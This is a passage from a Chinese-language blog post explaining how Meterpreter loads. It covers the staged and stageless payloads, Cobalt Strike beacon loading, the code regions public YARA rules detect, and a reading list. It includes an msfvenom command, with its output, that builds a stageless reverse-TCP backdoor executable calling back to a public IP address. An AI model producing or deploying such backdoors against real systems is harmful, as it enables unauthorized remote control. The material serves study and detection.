  • 阶段一:stager shellcode
  • 阶段二:metsrv dll
  • 阶段三:stdapi dll
  • 阶段四:priv dll

0x04 stageless meterpreter

metasploit中还提供了一种叫做stageless的payload

stageless payload其实内置了metsrv和meterpreter所必须的扩展(包括stdapi等),来避免网络状况较差的情况下在网络上多阶段的传递数据

即stageless payload内置了meterpreter所需的所有基础功能,将这些功能绑在了一个exe/shellcode/…中

所以生成出来的stageless meterpreter backdoor会比较大,但是stageless backdoor执行之后服务端可以直接操作meterpreter,无需再多阶段加载数据

我们可以通过如下的payload使用stageless meterpreter

1
2
3
4
5
6
msfvenom -p windows/meterpreter_reverse_tcp LHOST=47.95.115.1 LPORT=8080 -f exe > /tmp/stageless.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 179779 bytes
Final size of exe file: 254976 bytes

0x05 cobaltstrike beacon.dll

metasploit是一个伟大的工具,另外,渗透测试人员所熟知的cobaltstrike也是使用类似的方式加载他的beacon

有大佬已经分析过了,可以参考:
https://www.freebuf.com/articles/system/18404.html

0x06 meterpreter yara检测

下面是公开的用于meterpreter检测的yara规则,在明白了上文技术原理之后,就知道yara具体在检测哪些部分

https://github.com/cuckoosandbox/community/blob/master/data/yara/shellcode/metasploit.yar
https://github.com/Yara-Rules/rules/blob/master/malware/RAT_Meterpreter_Reverse_Tcp.yar

检测的位置有

  1. shellcode起始代码
  2. PEB访问代码
  3. 动态加载的DLL名称
  4. 使用到的函数hash
  5. ReflectiveLoader汇编代码

0x07 参考资料

  1. Deep Dive Into Stageless Meterpreter Payloads
    https://blog.rapid7.com/2015/03/25/stageless-meterpreter-payloads/
  2. Meterpreter技术原理:载荷执行
    https://bbs.pediy.com/thread-247616.htm
  3. Meterpreter载荷执行原理分析
    http://imosin.com/2017/12/22/meterpreter-think/
    https://xz.aliyun.com/t/1709
  4. 揭开Meterpeter的神秘面纱
    https://www.freebuf.com/articles/system/53818.html
  5. mymig_meterpreter
    https://github.com/codeliker/mymig_meterpreter
  6. Reflective DLL Injection - Harmony Security
    https://www.dc414.org/wp-content/uploads/2011/01/242.pdf
  7. An Improved Reflective DLL Injection Technique
    https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html
  8. Meterpreter解析
    http://www.hick.org/code/skape/papers/meterpreter.pdf
  9. An Analysis of Meterpreter during Post-Exploitation
    https://www.sans.org/reading-room/whitepapers/forensics/analysis-meterpreter-post-exploitation-35537
  10. Win32 bind shellcode review
    https://www.exploit-db.com/docs/english/38647-win32_bind-shellcode-review.pdf
  11. 对照内核结构深入理解动态定位API
    https://bbs.pediy.com/thread-203319.htm
  12. 如何编写高质量shellcode
    https://www.freebuf.com/articles/system/133990.html